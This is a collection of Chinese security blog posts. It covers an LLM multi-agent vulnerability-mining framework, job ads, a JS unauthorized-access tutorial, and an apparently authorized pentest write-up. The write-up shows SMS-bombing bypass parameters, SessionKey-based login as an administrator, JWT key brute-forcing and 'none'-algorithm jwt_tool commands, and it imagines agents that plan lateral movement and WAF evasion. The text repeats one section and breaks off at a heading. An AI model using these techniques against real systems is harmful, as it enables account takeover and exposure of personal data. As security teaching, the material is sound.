我从以往的安全研究触发,针对通用型漏洞的工具做了大量的调研,并基于BurpSuite原生API开发了自动化Fuzz工具如:反射性和存储型XSS、SSRF、CORS、敏感信息泄露等(同时也是在锻炼开发能力,也让日常重复性漏洞渗透工作能够做的更高效),再结合MCP集成给Agent。该模块并非简单的随机测试,而是作为一个流式检测组件,实时拦截、解析并重放业务流量,对潜在漏洞动态扫描。而对于敏感信息泄露则是比较容易 ,针对Spring Boot Actuator、Swagger UI、Druid Monitor等常见中间件的指纹来做识别。同时,结合模式匹配,对响应包中的JWT Token、阿里云AK/SK、AWS凭证等高熵字符串进行实时监测,有效发现硬编码或调试信息泄露。

下面挑了几个通用型漏洞的Fuzz来做简单做下原理解释

1. 通用XSS漏洞的自动化Fuzz

比如针对XSS反射型和存储型漏洞,开发时采用了全量参数解析+动态污点标记的检测策略,确保对异构http包结构中参数的全面覆盖。

  • 深度参数提取与结构化解析
    不仅仅局限于URL Query参数,还有针对JSON、XML、Multipart-form等多种数据格式的解析器。能够递归遍历HTTP Request Body中的每一层嵌套结构,提取所有用户可控的叶子节点作为Fuzz入口。
  • 唯一性污点标记
    为了解决并发扫描时的结果混淆问题,引擎摒弃了静态Payload,转而采用动态生成的唯一性测试标记


    • Payload构造:Timestamp + RandomStr + Vector(例如:CurrentTime等高熵字符串)
    • 状态映射表:内存中维护一张高并发的HashMap,记录RequestID <-> ParameterName <-> UniquePayload的映射关系。
    • 响应回显与验证
      发送测试请求后,引擎自动捕获HTTP Response,通过高效的字符串匹配算法检索之前的唯一标记。一旦检测到标记回显且上下文未经过滤(如HTML实体编码缺失),即判定存在可疑XSS漏洞,并自动关联原始请求数据生成漏洞条目。

(当时研究设计思路时绘制的草图)

image.png

2. 访问控制与配置缺陷的CORS漏洞检测

自动化Fuzz HTTP请求头中的Origin字段,构造包括恶意第三方域名、特殊字符(如null)及子域名在内的多种变异Payload

  • 高危利用判定:当响应头Access-Control-Allow-Origin和攻击者Payload一样或为小写null,且同时存在Access-Control-Allow-Credentials: true时,将其标记为高危漏洞。此类配置允许攻击者绕过同源策略(SOP)窃取用户敏感数据
  • 严格语法校验:针对协议规范的边缘场景进行校验,例如检测到Access-Control-Allow-Origin: Null(大写)时,引擎会自动识别其为无效配置(浏览器不识别大写Null),从而将其作为无效处理
    以及服务端错误配置导致Access-Control-Allow-Origin始终和Origin一样,这里放一张示例图便于理解:

image.png

0x05 构建认知型安全智能体的未来图景

在对Multi-Agent探索自动化漏洞挖掘实践的探索过程中,其实我们一直在试图回答一个核心问题:如何在安全攻防领域,构建一个具备“感知-推理-决策-行动”完整闭环的智能系统。目前的Agent主要还停留在“检测与验证”阶段,之后更完备的阶段是自动化环境的感知探索与白盒源码的结合,以及能够基于当前的Shell环境或数据库权限,自主规划后续的横向移动与权限提升路径。另一个重要的方面是自适应Payload生成:比如利用强化学习反馈机制,让Agent在面对WAF拦截时,能够动态调整Payload的混淆策略,实现智能化的WAF绕过

希望本文的实践能为各位师傅提供一种新的视角供师傅们交流指点~

助理安全研究员(漏洞挖掘与利用)(北京)

薪资:17-19k,15薪,具体可进一步沟通

投递方式:campus@360.cn

职位职位链接:https://360campus.zhiye.com/campus/detail?jobAdId=69b88265-4f41-4e90-b2e3-02ae630c7631

工作职责

1、深入研究软件、设备、系统、网络协议等某领域或多领域的安全漏洞,利用逆向工程、模糊测试、静态/动态代码分析等技术,主动发现并验证新的安全漏洞;

2、探索应用大语言模型(LLM)技术于Web与二进制领域的复杂漏洞挖掘,结合专业知识,设计构建相关自动化工具/流程;

3、研究前沿攻防技术,跟踪国内外安全动态与漏洞披露信息,复现漏洞,研究攻击手法和防御技术,持续提升公司的安全研究能力;

4、参与相关项目或课题,推动漏洞研究能力的价值转化。

任职资格

1、计算机科学、信息安全或相关领域本科及以上学历;

2、对Web和二进制安全漏洞有一定的认知,具备一定的逆向分析能力和研究能力,熟练使用常见工具,如:IDA、WinDbg、GDB等;

3、熟练掌握C/C++/Python等至少一种语言,熟悉X86或ARM汇编指令,有扎实的编程基础;

4、对漏洞挖掘与利用感兴趣,有热情和自我驱动力,有一定的抗压能力和较强的团队协作精神。

以上职位满足以下至少一项条件者优先录用:

1、参加过天府杯、Pwn2Own等赛事,并成功攻破目标,作为CTF主力选手取得过优秀的成绩。

2、在有影响力的业界会议(学术/工业)上发表论文;

3、有独立挖掘漏洞的经验,获得过主流厂商的CVE编号;

4、通过使用/定制/自研工具发现有效漏洞;

安全研究员(Windows方向)(北京)

薪资:17-19k,15薪,具体可进一步沟通

投递方式:campus@360.cn

职位直达链接:https://360campus.zhiye.com/campus/detail?jobAdId=d7b48154-dd38-45ee-9492-0b4baec1004a

工作职责

1持续跟踪并深入分析最新的Windows平台漏洞,研究其根本原理、高级利用技术及有效的缓解措施。

2研究和复现野外流行的攻击手法、APT攻击中使用的先进技术,特别是针对杀毒软件、EDR等安全产品的绕过技术(如白利用、无文件攻击、内存驻留、EDR盲点等)。

3基于研究成果,设计和开发创新的威胁检测模型和主动防御方案,并将其工程化,落地到实际的安全产品中,提升产品的核心检测与防护能力。

任职资格

1计算机科学、信息安全、网络工程或相关专业本科及以上学历。

2精通C/C++编程,熟悉Python等脚本语言,具备扎实的Windows平台开发能力(如Win32 API, Native API)。

3熟练掌握x86/x64汇编语言,能够熟练使用IDA Pro, WinDbg, x64dbg等工具进行静态分析和动态调试。

4深入理解Windows操作系统内核机制,包括内存管理、进程/线程调度、对象管理、文件系统、驱动模型等。

5对主流的漏洞利用技术(如ROP, JOP, 堆利用等)及相应的防御和绕过技术(如ASLR, DEP, CFG bypass)有深入的理解。

6 对安全研究抱有浓厚兴趣和热情,具备强烈的自我驱动力、好奇心和优秀的学习能力,能够独立解决复杂技术问题。
加分项(满足以下一项或多项者优先):

7有独立发现并分析过漏洞(有CVE编号者优先)的经验。

8有Windows内核驱动开发或内核安全攻防经验者优先。

9有反病毒、反外挂、EDR、HIPS等安全产品核心研发经验者优先。

10在知名安全会议或在安全社区、个人博客上发表过高质量技术文章者优先。

11在CTF竞赛中取得过优异成绩者优先。

重塑传统自动化漏洞挖掘的Multi-Agent框架攻防一体化实践

前段时间在某大厂做安全研究时,针对SDLC的重复性审计工作结合大模型Agent思索了一些可行的思路,便在不断摸索中构建了一个Multi-Agent的协同漏洞挖掘框架系统,目前个人使用来看对于开源的web应用的实战效果相比传统的SAST、DAST以及纯LLM的漏洞挖掘工具来说还是很不错的,便记录此篇框架实现过程和当今Agent赋能漏挖的可行性与优势供师傅们交流指点....

0x00 传统漏洞挖掘的困局

当前针对Web应用后端的自动化漏洞挖掘技术主要受困于“覆盖率”与“准确性”难以两全的矛盾:

  • 传统的静态分析技术虽能提供全量的代码覆盖,但由于缺乏对程序运行时状态和复杂业务逻辑的语义理解,往往导致海量的误报噪声,极大地增加了安全工程师的审计成本
  • 而动态应用程序安全测试虽能在黑盒方面挖掘漏洞更具真实性,却受限于黑盒视角的路径探索能力,难以触及深层业务逻辑,会存在很多漏报
  • 目前大语言模型的出现为代码语义分析带来了新的契机,但受限于Context Window 的约束以及生成式模型固有的幻觉问题,直接依赖原生LLM进行大规模代码审计往往导致分析结果碎片化且缺乏可信度,并且直接将代码喂给大模型容易受与漏洞无关代码的影响

0x01 探索漏洞挖掘框架的新出路?

在探索新的框架实现时,我们可以思考是否能将黑白盒的现有技术互补结合来引导漏洞挖掘?以及我们可以看到几年LLM与Agent相关技术如MCP、RAG的工程化落地,能否用LLM赋于框架更好的语义理解和丰富的上下文能力,再通过Agent做一套自动化流程?

为突破上述技术瓶颈,我在探索新的漏洞挖掘框架时也看了一些目前学术界的相关LLM赋能的研究与github开源的技术实现,总体的探索方法还是在论文与现实实践中思考各个方面的优势与缺陷,最终确定做一个基于Muti-Agent协同的智能化漏洞挖掘框架:构建一个从静态分析到动态验证的闭环生态。技术上引入MCP 来作为连接LLM推理能力与静态分析工具的桥梁,利用RAG 技术通过构建高质量漏洞专家知识库来校准模型判定,深度缓解LLM的“幻觉”与知识盲区;同时,结合运行时自动化的流量Fuzz模糊测试技术,将白盒的逻辑推演与黑盒的攻击验证深度融合,减少漏洞的误报和漏报。

这里放一个当时挖到的有CNVD证书的水洞,通过项目上传与聊天,自动化分析审计出多处SQL注入漏洞,并且能够给出攻击POC,以及后续完整的修复方案

image.png

0x02 框架核心:打破黑白盒壁垒

该框架核心架构旨在重构传统安全检测的边界,提出了一种 “白盒语义指引黑盒,黑盒动态验证白盒”的深度融合范式。框架并非单一工具的线性叠加,而是一个基于Multi-Agent编排(Agent Orchestration)的异构系统。

  • 白盒分析维度:框架引入了MCP作为智能体的执行接口,驱动底层的静态分析工具与正则匹配引擎,对代码AST进行初步扫描,快速锚定潜在的危险函数调用Sink。为解决静态分析中常见的上下文缺失问题,进一步融合了RAG 技术:通过引入高质量的博客记录的高精度漏洞知识库,系统能够为大语言模型提供特定漏洞类型的完备的Context上下文与判定依据,从而在保持高代码覆盖率的同时,抑制传统模式匹配带来的误报,实现了从“语法”到“语义”的代码的全面理解提升。
  • 黑盒验证维度:框架构建了运行时的自动化Fuzz模糊测试。该模块独立承担着对Web通用漏洞(如XSS、SQL注入)及敏感信息泄露的覆盖任务。当白盒Agent发现疑似逻辑漏洞时,通过黑盒上的Fuzz可在流量侧生成针对性的变异Payload进行动态优化,通过分析HTTP响应状态来实证漏洞的可利用性。

我认为将静态视角的逻辑推演与动态视角的攻击验证相结合的机制,能极大地提升了漏洞检测的置信度,实现了真正意义上的全链路攻防评估,刚开始时候画的大致架构草图,仅贴示了主要功能,一些细节实现并未展示:

image.png

0x03 智能化Agent设计细节

1. Static Orchestration Agent:基于MCP协议的异构工具编排

在传统的LLM应用中,模型往往被禁锢在文本交互的孤岛中,难以触及本地庞大的代码仓库,且面临着Context Window对海量代码理解的限制。本框架设计的漏洞定位Agent,本质上是一个 静态分析增强型智能体(Static Orchestration Agen) ,通过引入MCP与构建Prompt定义角色任务将LLM从被动的文本生成者转变为主动的工具使用者,通过静态分析获取代码结构中的丰富语义上下文

MCP驱动的“深层感知”

不同于简单的API调用,MCP协议使得Agent能够理解工具的输入输出Schema,实现复杂的推理链条:

  • 工具与模型的语义对齐:通过定义标准化的MCP接口,将底层的静态代码分析工具封装为LLM可调用的能力。
  • 意图驱动的执行:构造合适的CoT思维链Prompt让Agent根据当前的分析任务代码(例如“寻找未授权访问漏洞”),自主决策调用何种工具、传入何种参数。这可以让Agent模拟安全专家的思维过程,主动去探测代码中的漏洞点。

SINK点定位与攻击面收敛

针对LLM处理大规模代码时的“大海捞针”难题,高效定位漏洞利用链

  • SINK点精准锚定:Agent并不直接阅读全量代码,而是利用MCP驱动底层扫描器,基于AST解析和高精度的正则模式,快速提取代码中的SINK点(需要根据不同语言类型的不同漏洞进行扩充分类)

image.png

  • 代码切片与上下文聚焦:一旦定位到SINK点,系统会通过静态分析工具获取sink点污染的上下文Code Slice,并且做到变量语句级,将无关语句统统移除(这里详细的实现师傅们可以去阅读Joern等工具的源码和他的论文,主要在于CPG代码属性图的构建和后向切片等算法技术)。极大地收敛了分析范围,过滤大量无关业务代码,确保输送给LLM进行深度研判的每一行代码都具有潜在的安全价值(无论是控制流还是数据依赖流都对漏洞的存在有潜在的约束和影响)。这不仅大幅降低了Token消耗,更显著提升了后续漏洞验证的准确性。

2. Contextual Reasoning Agent:基于RAG的领域知识增强与检索优化

作为本框架保障检测精度的核心组件,校验 Contextual Reasoning Agent承担着“校验”的角色。针对通用大语言模型在特定安全领域存在的专业知识匮乏逻辑幻觉 问题,本模块引入RAG 技术,人为构建了一个可随时扩展的领域专家知识文档库,通过实时注入精确的先验知识来约束和校准模型的推理过程。

RAG知识库的结构化重构与向量化

为了让非结构化的安全知识能够被机器高效理解,摒弃粗暴的文本截断,采用基于Markdown语法树的结构化清洗策略。系统依据标题层级对海量的漏洞PoC、修复方案及原理分析文档进行逻辑切分,确保每个Chunk都包含完整的语义单元

例如一个简易的MARKDOWN文档:

image.png

动态滑窗与重叠分块策略

在知识切片过程中,为了规避硬切分导致的语义断层,切片策略采用基于重叠策略(Overlapping Strategy)的动态滑窗机制

  • 语义连贯性保障:设定固定的Token阈值作为基础窗口大小,同时引入预设比例的重叠缓冲区。每一分块的末尾段落会被完整保留并作为下一分块的起始上下文。
  • 边界信息无损传输:这种机制确保了跨越分块边界的逻辑描述(如一段跨越多行的代码逻辑或长难句的漏洞解释)不会被割裂,保证了向量检索时上下文信息的完整性与连贯性。

image.png

向量检索与推理运行

采用all-MiniLM-L6-v2模型作为Embedding引擎。该模型在保持低延迟推理的同时,在多语言的语义相似度任务上有更好的泛化能力;数据库采用集成Qdrant向量数据库,支撑大规模向量的高并发检索

  • 上下文感知的推理校准:当定位Agent上报疑似SINK点时,校验Agent会提取当前代码特征,在向量库中实时检索最相似的Top-K个历史漏洞模式和修复示例。这些检索结果被作为增强上下文 注入到LLM的Prompt中,迫使模型基于检索到的“事实依据”而非单纯的概率预测进行最终判定,减少了误报的产生

0x04 动态流量FUZZ

我从以往的安全研究触发,针对通用型漏洞的工具做了大量的调研,并基于BurpSuite原生API开发了自动化Fuzz工具如:反射性和存储型XSS、SSRF、CORS、敏感信息泄露等(同时也是在锻炼开发能力,也让日常重复性漏洞渗透工作能够做的更高效),再结合MCP集成给Agent。该模块并非简单的随机测试,而是作为一个流式检测组件,实时拦截、解析并重放业务流量,对潜在漏洞动态扫描。而对于敏感信息泄露则是比较容易 ,针对Spring Boot Actuator、Swagger UI、Druid Monitor等常见中间件的指纹来做识别。同时,结合模式匹配,对响应包中的JWT Token、阿里云AK/SK、AWS凭证等高熵字符串进行实时监测,有效发现硬编码或调试信息泄露。

下面挑了几个通用型漏洞的Fuzz来做简单做下原理解释

1. 通用XSS漏洞的自动化Fuzz

比如针对XSS反射型和存储型漏洞,开发时采用了全量参数解析+动态污点标记的检测策略,确保对异构http包结构中参数的全面覆盖。

  • 深度参数提取与结构化解析
    不仅仅局限于URL Query参数,还有针对JSON、XML、Multipart-form等多种数据格式的解析器。能够递归遍历HTTP Request Body中的每一层嵌套结构,提取所有用户可控的叶子节点作为Fuzz入口。
  • 唯一性污点标记
    为了解决并发扫描时的结果混淆问题,引擎摒弃了静态Payload,转而采用动态生成的唯一性测试标记


    • Payload构造:Timestamp + RandomStr + Vector(例如:CurrentTime等高熵字符串)
    • 状态映射表:内存中维护一张高并发的HashMap,记录RequestID <-> ParameterName <-> UniquePayload的映射关系。
    • 响应回显与验证
      发送测试请求后,引擎自动捕获HTTP Response,通过高效的字符串匹配算法检索之前的唯一标记。一旦检测到标记回显且上下文未经过滤(如HTML实体编码缺失),即判定存在可疑XSS漏洞,并自动关联原始请求数据生成漏洞条目。

(当时研究设计思路时绘制的草图)

image.png

2. 访问控制与配置缺陷的CORS漏洞检测

自动化Fuzz HTTP请求头中的Origin字段,构造包括恶意第三方域名、特殊字符(如null)及子域名在内的多种变异Payload

  • 高危利用判定:当响应头Access-Control-Allow-Origin和攻击者Payload一样或为小写null,且同时存在Access-Control-Allow-Credentials: true时,将其标记为高危漏洞。此类配置允许攻击者绕过同源策略(SOP)窃取用户敏感数据
  • 严格语法校验:针对协议规范的边缘场景进行校验,例如检测到Access-Control-Allow-Origin: Null(大写)时,引擎会自动识别其为无效配置(浏览器不识别大写Null),从而将其作为无效处理
    以及服务端错误配置导致Access-Control-Allow-Origin始终和Origin一样,这里放一张示例图便于理解:

image.png

0x05 构建认知型安全智能体的未来图景

在对Multi-Agent探索自动化漏洞挖掘实践的探索过程中,其实我们一直在试图回答一个核心问题:如何在安全攻防领域,构建一个具备“感知-推理-决策-行动”完整闭环的智能系统。目前的Agent主要还停留在“检测与验证”阶段,之后更完备的阶段是自动化环境的感知探索与白盒源码的结合,以及能够基于当前的Shell环境或数据库权限,自主规划后续的横向移动与权限提升路径。另一个重要的方面是自适应Payload生成:比如利用强化学习反馈机制,让Agent在面对WAF拦截时,能够动态调整Payload的混淆策略,实现智能化的WAF绕过

希望本文的实践能为各位师傅提供一种新的视角供师傅们交流指点~

议题分享:Vigor2960 Memoirs \nPursuit of the Elusive 0day & 1day

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 前言

一、浅谈

这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。

这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

二、资产整理

首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理

我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的

txt的类型像下面的如下:

然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试

0x2漏洞一 短信轰炸

一、纵向轰炸

这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。

这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:

直接把数据包放到重放模块,下面直接go一下(第一次go)数据包

可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了

但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了

这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的

然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?

经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:

我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:

然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:

二、横向轰炸

然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可

类似下面的,常用的就是下面几个:

phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999

下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

我这里使用的就是下面这个思路:

phone=13888888888&13999999999

然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号

那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号

三、短信轰炸总结

下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收

0x3 漏洞 二 SessionKey三要素泄露

一、未授权登陆

下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下

这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆

1、首先介绍下使用到的SessionKey解密工具

https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

这个工具直接双击运行即可,类似下面的:

还有一个就是使用burpsuit的自带插件

https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

直接就可以导入到bp插件中

2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显

3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:

4、直接一键发送到AppletPentester 插件中

5、直接一键解密即可

6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号

直接替换成管理员老师176的手机号,然后点击加密

再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可

就可以直接未授权登陆这个账号了

二、弱口令+信息泄露

然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大

打开web端访问,直接跳转这个页面,特别经典的若依系统页面

这里直接使用刚才的手机号+弱口令密码

直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息

0x4 JWT爆破攻击

一、可爆破/未验证签名导致越权

首先通过微信搜索小程序,找到对应目标资产中的小程序系统

直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包

这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试

这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分

下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值

|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
|exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
|username|1xxxxxxxxx79|手机号,一键微信登陆的|

这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥

爆破发现其密钥为123456

然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上

因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号

首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间

还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin

然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值

通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号

二、设置加密为None导致不验证签名从⽽达到越权

上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路

这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool

这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下

python jwt_tool.py JWT值

会直接显示JWT解密以后的内容显示出来

下面使用这个工具来测试 None 算法漏洞

使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据

python jwt_tool.py JWT值 -X a  

burpsuit返回包总结:

401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
{"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)

0x5 OAuth2.0漏洞

